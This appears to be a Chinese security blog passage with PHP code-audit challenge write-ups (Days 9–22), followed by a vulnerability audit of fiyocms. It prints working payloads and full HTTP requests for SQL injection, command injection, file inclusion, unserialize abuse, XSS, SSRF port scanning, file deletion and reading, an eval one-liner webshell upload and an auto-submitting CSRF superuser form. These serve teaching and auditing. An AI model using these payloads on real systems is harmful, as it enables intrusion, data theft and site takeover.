}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

考察的是preg_replace/e函数导致的命令执行漏洞,我之前的文章(代码审计-通过preg_replace函数深入命令执行)有详细写到过这题

主要思路就是通过GET方式传入的变量名作为正则匹配条件,将匹配的值value传递到strtolower函数中进行命令执行,"\\1"即为第一个匹配到的字符串。

Payload如下:

1
?\S*={${phpinfo()}}

\S代表除空白符以外的所有字符,控制$value所有字符都会被匹配到,{${phpinfo()}}则涉及到PHP双引号下的变量会被解析和PHP可变变量

Day09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
if(file_exists("./lang/$sanitizedLang")){
require_once("./lang/$sanitizedLang");
}
}

private function getBrowserLanguage()
{
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] :'en';
return $lang;
}

private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}

$manage = new LanguageManager();
$manage->loadLanguage();
show_source(__FILE__);

考察的是任意文件包含漏洞,参数$_SERVER['HTTP_ACCEPT_LANGUAGE']可控,过滤函数str_replace只对../做一次过滤,双写即可绕过,Payload如下:

1
Accept-Language: ..././..././demo.txt

Day10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(!isset($_POST) || $_POST == false){
show_source(__FILE__);
exit;
}

extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

虽然看到了extract,但是这题考察的不是变量覆盖,我们可以看到goAway()函数中header重定向后并未使用die或者exit,这就导致了后面的代码依然会执行,所以我们直接POST变量pi=phpinfo,就会执行assert("(int)phpinfo() == 3"),在burp中能phpinfo的信息

Day11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
show_source(__FILE__);

本题的正则表达式应修改为'/O:\d:/'

看到unserialize就知道这题考察的是反序列化,对COOKIE中的变量data做了两个过滤处理

1
2
substr($data, 0, 2) !== 'O:'
!preg_match('/O:\d:/', $data)

php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后,考虑采用数组中存储对象进行绕过。

第二个正则匹配过滤,就需要利用到PHP反处理的源码,具体参考php反序列unserialize的一个小特性 ,在对象前加一个+号,即O:14->O:+14,这样就可以绕过正则匹配。

获取序列化字符串的代码如下:

1
2
3
4
5
6
7
class Template {
public $cacheFile = './info.php';
public $template = '<?php phpinfo();';
}
$temp[] = new Template();
$temp = serialize($temp);
echo $temp;

获取payload如下:

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./info.php";s:8:"template";s:16:"<?php phpinfo();";}}

这样,就可以利用file_put_contents函数将PHP代码写入一个PHP文件中

Day12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
show_source(__FILE__);

看到结尾的响应标签内容就猜到这题考察的可能是XSS,这里过滤的点有两个函数:(1)intval(2)htmlentities

intval函数虽然过滤了$value,但是未过滤$key,我们通过$key进行XSS即可

htmlentities函数作用是将字符串转化为HTML实体,但是默认不对单引号进行转义,所以我们可以构造一下Payload:

1
?'onclick%3dalert('xss')//=1

利用的是a标签的onclick事件来进行XSS攻击

闭合后的标签为:

1
"<a href='/images/size.php?'onclick=alert('xss')//=1'>link</a>"

Day13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
require_once "bootstrap.php";

if($_POST == false){
show_source(__FILE__);
exit;
}

class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select('COUNT(u)')
->from("User", "u")
->where("u.user = '$user' AND u.password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

echo 'Hello, '.$_POST['user'];

看到关键字user和passwd和SQL语句就很明白,这题考察的是通过SQL注入进行任意用户登录

过滤的地方在于sanitizeInput函数:

1
2
3
4
5
6
7
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}

首先对我们输入的用户名和密码值通过addslashes函数进行了转义处理,然后经过substr函数截断前20位。因为有转义,我们如果输入反斜杠\,经过转义后会变成\\,这样就不能过滤掉SQL语句中的单引号。但是,设想一下,如果我们输入的字符足够长,并且第二十位放置的是单引号'或者反斜杠\,那么经过转义和截断,最后一位就一定会是一个反斜杠\,这就过滤了SQL语句中的单引号,造成SQL注入

Payload:

1
?user=1234567890123456789'&passwd= or 1=1#

这样构成的SQL语句便是:

1
SELECT COUNT(u) FROM User u WHERE u.user = '1234567890123456789\' AND u.password = ' or 1=1#'

Day14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);
show_source(__FILE__);

看到file_put_contents函数,猜测考察写入webshell,foreach函数存在变量覆盖:

1
2
3
foreach ($input as $field => $count) {
$this->$field = $count++;
}

$this->$field = $count++;中的++是后增,不会影响,所以我们可以通过此函数覆盖变量$id,控制写入的文件名和位置:id=../../var/www/html/info.php

再观察写入的内容,经过两个函数get_object_varsvar_export的处理,先看看这两个函数的作用:

1
2
get_object_vars — 返回由对象属性组成的关联数组
var_export — 输出或返回一个变量的字符串表示

var_export与var_dump区别在于var_export输出的是合法的PHP代码,那么我们就可以写入合法的PHP代码

最终的Payload如下:

1
?id=../../var/www/html/info.php&a=<?php phpinfo(); ?>

最终写入的内容是:

1
2
3
4
5
6
array (
'id' => '../../var/www/html/test/shell.php',
'lost' => 0,
'bought' => 0,
'a' => '<?php phpinfo()?>'
)

Day15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Redirect {
private $websiteHost = 'www.vulnspy.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
print_r($parts);
$baseFile = end($parts);
echo '$baseFile = '.$baseFile."<br>";
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
echo '$url = '.$url."<br>";
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
show_source(__FILE__);

这题考察的是任意路径跳转,跳转的路径来源于$_SERVER['PHP_SELF'],这个全局变量含义是当前执行脚本在服务器下的路径,再通过explode函数将路径以/为分隔符分隔成一个数组,通过end函数将数组最后一个元素取出拼接上参数$params,再经过urldecode函数进行一次URL解码后作为重定向的url

假想我们要跳转到百度页面,访问http://127.0.0.1/html/day15.php/https://www.baidu.com?redirect=1,那么经过处理后的跳转的应该是Location: www.baidu.com,还是站内页面。我们要跳转到站外,就必须要加上http,所以,我们就可以利用题目中的一次URL解码加上本身浏览器对GET就有一次URL解码,对//进行二次URL编码,编码后为%25%32%66%25%32%66,那么payload就为:

1
http://127.0.0.1/html/day15.php/https:%25%32%66%25%32%66www.baidu.com?redirect=1

最后跳转的为:

1
Location: https://www.baidu.com?

就成功跳转到百度页面

Day16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class FTP {
public $sock;

public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);

$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}

public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}

public function send($data) {
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');
show_source(__FILE__);

这题的漏洞在于$this->mode($_REQUEST['mode']);==

首先,我们知道全局变量$_REQUEST[]是取值于$_GET$_POST$_COOKIE,即当三个全局变量一旦有赋值,$_REQUEST就被赋值,后面值不会再因为它们三个全局变量改变而改变,举个例子:

1
2
3
$_GET = array_map('intval',$_GET);
var_dump($_GET);
var_dump($_REQUEST);

最后输出的是:

1
2
array(1) { ["a"]=> int(1) } 
array(1) { ["a"]=> string(4) "1abc" }

第二,==在PHP中是弱类型比较,即1 == '1a',所以最后的payload为:

1
?mode=1%0a%0dDELETE%20test.file

就可以利用ftp协议来删除文件了

Day17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
require_once "bootstrap.php";

if($_POST == false){
show_source(__FILE__);
exit;
}

class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(u)")
->from("User", "u")
->where("u.password = '$pass' AND u.user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

echo 'Hello, '.$_POST['user'];

这题看起来是Day13的升级版,那题我们是利用addslashes和字符串截断进行\逃逸,从而进行SQL注入。这题对$pass进行了md5加密,但这里我们注意到md5函数中加入了参数true,我们可以测试一下:

1
2
var_dump(md5(1));
var_dump(md5(1,true));

输出的是:

1
2
string(32) "c4ca4238a0b923820dcc509a6f75849b" 
string(16) "��B8��#� �P�ou��"

看出加入true参数后与原来输出是有区别的,那么我们可以进行fuzz测试,看看有没有md5处理后最后一个字符为\

测试代码如下:

1
2
3
4
5
6
7
for($i=1;$i++;){
$key = md5($i,true);
if(substr($key,strlen($key)-1,1) == '\\'){
echo '$i = '.$i.' $key = '.$key;
break;
}
}

结果为:

1
$i = 128 $key = v�an���l���q��\

所以我们就可以构造payload:

1
pass=128&user=' or 1=1#

从而进行SQL注入

Day18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);
show_source(__FILE__);

这题没怎么看懂,大致是利用openssl_verify遇到错误时会返回-1,而if语句只有判断为0和false才不会执行。

Day19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class ImageViewer {
private $file;

function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}

function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}

function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}

echo (new ImageViewer("image.png"));
show_source(__FILE__);

这题关键在于stripcslashes函数,它能返回反转义后的字符串。可识别类似 C 语言的 \n\r,… 八进制以及十六进制的描述。

而下面的正则匹配过滤过滤掉除了0-9和反斜杠\,所以我们可以将我们要执行的命令转化为八进制,这样就可以构成任意命令执行的漏洞

例如执行sleep命令,将0;sleep 5;转化为八进制为0\073\163\154\145\145\160\0405\073

payload:

1
?size=0\073\163\154\145\145\160\0405\073

Day20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
if(!isset($_GET) || $_GET == false){
show_source(__FILE__);
exit;
}

set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}

try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}

return '<img src="proxy.php?url=' . $path . '" width="100"/>';
}
}

echo (new ImageLoader())->getResult($_GET['img']);

这关考察的是利用file_get_contents函数通过set_error_handler产生报错信息来产生SSRF,我们可以通过SSRF来检测内部服务是否开启,例如输入payload为:

1
?img=http://127.0.0.1:22

如果响应结果为:There was an error: file_get_contents(http://127.0.0.1:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2则说明存在SSH服务

如果检测一个不存在端口?img=http://127.0.0.1:30,则响应There was an error: file_get_contents(http://127.0.0.1:30): failed to open stream: Connection refused,说明服务不存在

Day21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
declare(strict_types=1);

class ParamExtractor {
private $validIndices = [];

private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};

try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}

return $this->validIndices;
}

public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);
show_source(__FILE__);

这道题需要运行在php7的环境,开头的declare(strict_types=1);就是php7的一种新引入方式,作用是在函数调用时会对参数进行类型检查,举个例子:

1
2
3
4
5
6
7
8
declare(strict_types=1);

function addnum(int $a,int $b){
return $a + $b;
}

echo addnum(1,2); //输出3
echo addnum('1','2'); //Fatal error: Uncaught TypeError:的错误

所以这就保证了最后通过$validate函数的$value都是数字且都大于0,但是这题漏洞在于array_walk这个函数,它不会对传入的参数做类型检查,也就是说它还是会按照php本身弱类型语言的特性对传入的参数做类型转化

例子如下:

1
2
3
4
5
6
7
8
declare(strict_types=1);

function addnum(int &$value) {
$value = $value+1;
}
$input = array('1a','2b');
array_walk($input,addnum);
var_dump($input); #array(2) { [0]=> int(2) [1]=> int(3) }

所以,我们很容易就能够进行任意命令执行,payload如下:

1
2
?p[1]=1;touch info.php
?p[1]=1;echo '<?php phpinfo(); ?>' >> info.php

这样就能向当前目录写入webshell

Day22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
show_source(__FILE__);
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}

这题考察的就是PHP会将0e开头的值以科学计数法进行处理,例如0e123 == 0e321

这里cookie字段我们是可控的,所以我们只需要找到一个经过md5加密后开头是0e的值即可

payload:

1
Cookie: hash=QNKCDZO
]]>
代码审计
代码审计--fiyocms https://Foxgrin.github.io//posts/42478/ 2019-03-01T07:07:00.000Z 2019-03-02T08:48:01.938Z 记录fiyocms审计过程以及漏洞分析

全局分析

该CMS的核心分析页面是在/dapur/index.php中,这是一个管理员的后台管理页面,首先需要以管理的身份进行登录,登录后,我们可以发现,访问其中很多具体管理页面,都是通过GET方式向服务器提交参数,如添加用户功能,提交的是app参数和act参数,那么我们在Seay审计系统中通过全局搜索功能搜索关键参数app,观察是哪个具体的文件接收了这个参数

可以看出,/dapur/system/apps.php文件接收了app参数,于是跟进该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(!empty($app)){
if(!file_exists("apps/app_$app/app_$app.php"))
{
function sysAdminApps() {
htmlRedirect('../'.siteConfig('backend_folder'));
/* blank line */
}
function loadAdminApps() {
/* blank line */
}
}
else {
function sysAdminApps() {
$app=$_REQUEST['app'];
baseSystem($app);
}
function loadAdminApps() {
$app=$_REQUEST['app'];
baseApps("app_".$app);
}
}
}

当接收到app参数时,做出判断apps/app_$app/app_$app.php文件是否存在,如果存在定义两个方法:sysAdminApps()和loadAdminApps(),其中又调用了baseSystem()和baseApps()方法,我们继续搜索这两个方法的出处

1
2
3
4
5
6
7
8
function baseApps($file){
require ("apps/$file/$file.php");
}

function baseSystem($file){
$file = "apps/app_$file/sys_$file.php";
if(file_exists($file)) include($file);
}

可以这两个方法发现包含了两个关键性文件,所以,管理界面每个功能都包含了两个关键文件,例如添加用户功能($app=user),那么就有两个关键文件:apps/app_user/app_user.php和apps/app_user/sys_user.php需要我们去关注

漏洞分析

任意文件删除

位置

/dapur/apps/app_config/controller/backuper.php 第16-30行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_POST['type'] == 'database') {
@unlink("../../../../.backup/$_POST[file]");
if(!file_exists('../../../../.backup'))
mkdir('../../../../.backup');
$date = md5(date("Ymd:His"));
$file = "db-backup-$date";
$c = backup_tables("*",'../../../../.backup',"$file",true);
if($c) {
$size = format_size(filesize("../../../../.backup/$file.sql"));
$time = date("Y/m/d H:i:s",filemtime("../../../../.backup/$file.sql"));
$r = "$size - $time";
echo "{ \"file\":\"$file.sql\" , \"info\":\"$r\" }";

}
}

其实这个文件存在非常多这个问题,通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作

复现

在网站根目录下建立demo.php文件

攻击payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 65
Accept: */*
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/dapur/index.php?app=config&view=backup
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

type=database&file=../demo.php

demo.php被删除

SQL注入漏洞

位置

/system/database.php 第210-233行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function update($table,$rows,$where)
{
$update = 'UPDATE '.$table.' SET ';
$keys = array_keys($rows);

for($i = 0; $i < count($rows); $i++){
if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== '+hits')
{
$update .= $keys[$i].'="'.$rows[$keys[$i]].'"';
}
else
{
if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] = $keys[$i] . '+'. 1;
$update .= $keys[$i].'='.$rows[$keys[$i]];
}

// Parse to add commas
if($i != count($rows)-1)
{
$update .= ',';
}
}

$update .= ' WHERE '.$where;

可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例,如/dapur/apps/app_user/controller.php

1
2
3
4
5
if(isset($_GET['stat'])) {
if($_GET['stat']=='1'){
$db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);
alert('success',Status_Applied,1);
}

我们可以通过GET方式构造id参数构成SQL注入攻击

复现

payload如下:

1
2
3
4
5
6
7
8
9
10
GET /dapur/apps/app_user/controller/status.php?stat=1&id=1%20and%20if(ascii(substr(database(),1,1))=102,sleep(3),1) HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

成功造成延时注入

当然,delete方法也同样存在这个问题,就不赘述了

文件读取漏洞

位置

/dapur/apps/app_theme/libs/check_file.php 第13-26行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file = $url= "$_GET[src]/$_GET[name]"; 
$furl = "../../../$url";

$content = strlen("$file") - 5;
$content = substr("$file",$content);
$file = strpos("$content",".");
$file = substr("$content",$file+1);

if($file == "html" || $file == "htm" || $file == "xhtml" || $file == "js" ||
$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :
$content = @file_get_contents($furl);
$content = htmlentities($content);

?>

审计可知,当$file后缀名为指定文件后缀时,通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞

复现

Payload如下:

1
2
3
4
5
6
7
8
9
10
GET /dapur/apps/app_theme/libs/check_file.php?src=..&name=config.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

读取的是网站根目录下的config.php文件,结果如下图所示

文件上传漏洞

位置

/dapur/apps/app_theme/libs/save_file.php 第23-27行

分析

1
2
3
$c = $_POST["content"];
$f = $_POST["src"];
$w = file_put_contents($f,$c);

显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞

复现

Payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /dapur/apps/app_theme/libs/save_file.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

src=../../../../demo.php&content=<?php eval($_POST['cmd']); ?>

在网站根目录下上传一个文件名为demo.php的一句话木马文件,结果如下图

成功上传一句话木马文件

CSRF添加超级用户

位置

/dapur/apps/app_user/sys_user.php 第110-123行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_POST['save']) or isset($_POST['apply'])){
$us=strlen("$_POST[user]");
$ps=strlen("$_POST[password]");
$user = $_POST['user'];
$name = $_POST['name'];
preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
if(!empty($_POST['password']) AND
!empty($_POST['user'])AND
!empty($_POST['name'])AND
!empty($_POST['email'])AND
!empty($_POST['level'])AND
$_POST['password']==$_POST['kpassword'] AND
$us>2 AND $ps>3 AND @ereg("^.+@.+\\..+$",$_POST['email']) AND !$matches) {
$qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d H:i:s'),'',"$_POST[bio]"));

这是一个添加用户的程序,但是没有加入token验证,所以可以造成CSRF攻击,添加超级用户

复现

我们先抓取添加用户的包,确定需要提交的参数,抓包结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dapur/?app=user&act=add HTTP/1.1
Host: 127.0.0.1
Content-Length: 124
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/dapur/?app=user&act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

apply=Next&id=&z=&user=test02&z=&x=&password=test02&kpassword=test02&email=123%4012345.com&level=1&name=test02&status=1&bio=

构造好的用于建立超级用户的网页代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<body>
<form name="csrf" action="http://127.0.0.1/dapur/?app=user&act=add" method="post">
<input type="hidden" name="apply" value="Next">
<input type="hidden" name="id" value="">
<input type="hidden" name="z" value="">
<input type="hidden" name="user" value="test66">
<input type="hidden" name="z" value="">
<input type="hidden" name="x" value="">
<input type="hidden" name="password" value="test66">
<input type="hidden" name="kpassword" value="test66">
<input type="hidden" name="email" value="123&#x40;12345&#x2e;com">
<input type="hidden" name="level" value="1">
<input type="hidden" name="name" value="test66">
<input type="hidden" name="status" value="1">
<input type="hidden" name="bio" value="">
</form>

<script type="text/javascript">
document.csrf.submit();
</script>

</body>
</html>

用户访问https://127.0.0.1/demo.html,就会立即生成test66的超级用户

任意文件修改漏洞

位置

/dapur/apps/app_config/sys_config.php 第190-193行

分析

1
2
3
4
$new_folder = $_POST['folder_new'];
$old_folder = $_POST['folder_old'];
if($old_folder != $new_folder) {
$ok = @rename("../$old_folder","../$new_folder");

对POST传递的参数folder_new和folder_old未进行过滤拼接至rename函数进行文件名修改操作

复现

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dapur/?app=config HTTP/1.1
Host: 127.0.0.1
Content-Length: 517
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/dapur/?app=config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

config_save=Simpan&site_name=fiyocms&title=Fast%2C+Save+%26+Elegant%21&url=localhost&mail=your%40site.net&folder_new=config.txt&folder_old=config.php&status=1&meta_keys=keyword+1%2C+keyword+two%2C+3rd+key&meta_desc=&sef=1&https=0&www=1&follow_link=1&title_type=1&title_divider=+-+&sef_ext=.html&name=fiyocms&member_registration=1&member_activation=2&member_group=5&file_allowed=swf+flv+avi+mpg+mpeg+qt+mov+wmv+asf+rm+rar+zip+exe+msi+iso&disk_space=500&file_size=5120&media_theme=oxygen&lang=id&timezone=Asia%2FJakarta

将网站根目录config.php文件修改成config.txt文件

直接可以查看网站的配置信息

后记

